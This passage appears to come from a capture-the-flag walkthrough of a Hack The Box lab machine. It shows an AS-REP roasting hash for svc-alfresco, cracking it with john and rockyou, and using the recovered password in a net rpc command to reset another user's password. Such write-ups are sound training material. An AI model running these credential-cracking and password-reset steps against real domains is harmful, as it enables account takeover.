$krb5asrep$svc-alfresco@htb.local:... Bingo. No pre-auth required. You copy the hash to a file and feed it to john :
john --wordlist=/usr/share/wordlists/rockyou.txt svc-alfresco.hash Seconds later—a crack. The password: s3rvice .
net rpc password "sebastian" -U "htb.local"/"svc-alfresco"%"s3rvice" -S forest.htb.local It asks for the new password. You set it to P@ssw0rd123! .
